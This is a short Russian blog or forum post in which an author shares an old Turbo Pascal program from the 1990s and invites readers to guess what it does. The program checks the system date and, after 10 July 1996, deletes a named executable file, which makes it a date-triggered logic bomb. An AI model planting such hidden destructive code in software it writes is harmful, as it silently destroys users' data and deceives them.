Как раньше программировали

[karpolan]

Рылся в старых проектах, нашел "гениальную програмку" ©.

Угадайте что она делает и для чего такие вещи делали программисты в прошлом веке?

Program fignya; Uses Dos; Var y, m, d, dow: Word; flag : Boolean; F : File; Begin Flag := True; GetDate(y, m, d, dow); if (y = 1996) then begin if (m<7) then Flag := False; if (m=7) and (d<10) then Flag := False; end;{if (y=1996) then} if (y < 1996) then Flag := False; if Flag then begin Assign(F, 'C:\SomeDir\SomeFile.EXE'); Erase(F); end; End.
Потом в каментах отвечу, интересно услышать что народ думает :)